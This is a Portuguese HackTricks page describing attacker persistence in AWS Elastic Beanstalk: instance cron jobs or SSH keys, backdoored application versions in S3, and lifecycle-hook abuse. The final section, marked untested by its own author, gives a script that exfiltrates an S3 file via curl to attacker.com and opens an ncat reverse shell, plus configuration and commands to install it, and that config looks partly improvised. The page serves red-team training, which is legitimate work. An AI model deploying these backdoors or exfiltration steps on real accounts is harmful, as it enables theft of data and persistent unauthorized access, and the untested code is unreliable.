AWS - Elastic Beanstalk Persistence

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Elastic Beanstalk

Para mais informações, verifique:

pageAWS - Elastic Beanstalk Enum

Persistência na Instância

Para manter a persistência dentro da conta AWS, algum mecanismo de persistência poderia ser introduzido dentro da instância (tarefa cron, chave ssh...) para que o atacante consiga acessá-lo e roubar as credenciais da função IAM do serviço de metadados.

Backdoor na Versão

Um atacante poderia instalar um backdoor no código dentro do repositório S3 para que ele sempre execute seu backdoor e o código esperado.

Nova versão com backdoor

Em vez de alterar o código na versão atual, o atacante poderia implantar uma nova versão do aplicativo com backdoor.

Abusando dos Hooks de Ciclo de Vida de Recursos Personalizados

TODO: Testar

O Elastic Beanstalk fornece hooks de ciclo de vida que permitem executar scripts personalizados durante a provisionamento e término da instância. Um atacante poderia configurar um hook de ciclo de vida para executar periodicamente um script que exfiltra dados ou mantém acesso à conta AWS.

bashCopy code# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
gzip /tmp/data.csv
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh

# Attacker uploads the script to an S3 bucket
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh

# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:
AWSEBAutoScalingGroup:
Metadata:
AWS::ElasticBeanstalk::Ext:
TriggerConfiguration:
triggers:
- name: stealthy-lifecycle-hook
events:
- "autoscaling:EC2_INSTANCE_LAUNCH"
- "autoscaling:EC2_INSTANCE_TERMINATE"
target:
ref: "AWS::ElasticBeanstalk::Environment"
arn:
Fn::GetAtt:
- "AWS::ElasticBeanstalk::Environment"
- "Arn"
stealthyLifecycleHook:
Type: AWS::AutoScaling::LifecycleHook
Properties:
AutoScalingGroupName:
Ref: AWSEBAutoScalingGroup
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
NotificationTargetARN:
Ref: stealthy-lifecycle-hook
RoleARN:
Fn::GetAtt:
- AWSEBAutoScalingGroup
- Arn' > stealthy_lifecycle_hook.yaml

# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Última actualización